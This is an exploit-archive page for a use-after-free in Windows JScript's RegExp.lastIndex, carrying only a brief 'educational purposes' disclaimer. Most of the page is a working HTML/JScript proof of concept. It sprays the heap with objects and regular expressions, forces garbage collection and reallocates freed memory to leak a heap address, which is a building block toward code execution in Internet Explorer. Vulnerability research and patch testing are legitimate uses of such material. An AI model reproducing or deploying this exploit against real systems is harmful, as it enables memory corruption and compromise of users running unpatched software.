Microsoft windows jscript regexp.lastindex useafterfree Vulnerability / Exploit

/ / /

Exploits / Vulnerability Discovered : 2018-08-28 | Type : dos | Platform : windows
This exploit / vulnerability Microsoft windows jscript regexp.lastindex useafterfree is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...




<meta http-equiv="X-UA-Compatible" content="IE=7"></meta>
<script language="Jscript.Encode">

var objects = [];
var regexps = [];
var magicIndex = 0;
var magicObject;
var allocationAddress;

function infoLeak() {
// alert("in infoleak");
// leak the "next" pointer from one of the NameList entries
allocationAddress = regexps[magicIndex + 6].lastIndex / 4.9406564584124654E-324 - 0x560;
prompt("allocationAddress", allocationAddress.toString(16));
}

// specially crafted property name that allows us to test for successful exploitation
// and figure out which object got reallocated over freed block
function getName4(index) {
return String.fromCharCode(0,0,0,0,0,0,0,0, 3,0,0,0, index,0,0,0, 0,0,0,0, 3,0,0,0, 0x1337,0,0,0, 0,0,0,0);
}

function exploit() {

// todo: trigger LFH for 0x970 allocation size, might make the exploit more reliable

alert('start');

// crafted property names
var name1 = Array(570).join('a'); // makes NameList allocation of exactly 0x970 bytes
var name2 = 'bbbbbbbbbbb'; // length chosen to allign the next item correctly
var name3 = String.fromCharCode(5); // 5 is the double var type, used to leak the "next" pointer

// allocate empty objects
for(var i=0; i<500; i++) {
var o = {};
objects[i] = o;
}

// allocate regexp objects
for(var i=0;i<10000;i++) {
regexps[i] = new RegExp();
}

// allocate variables that aren't being tracked by GC
for(var i=0;i<10000;i++) {
regexps[i].lastIndex = "aaaaa";
}

// trigger freeing of var blocks
CollectGarbage();

// allocate NameList blocks over freed allocations
for(var i=0; i<500; i++) {
objects[i][name1] = 1;
}

// fill NameList blocks with other data useful for infolek stage
for(var i=0; i<500; i++) {
objects[i][name2] = 1;
objects[i][name3] = 1;
objects[i][getName4(i)] = 1;
}

for(var i=0;i<10000;i++) {
try {
if(regexps[i].lastIndex == 0x1337) {
alert("win");
magicIndex = i;
magicObject = objects[regexps[i+1].lastIndex];
infoLeak();
return;
}
} catch(e) { }
}

alert('failed');
}

exploit();

</script>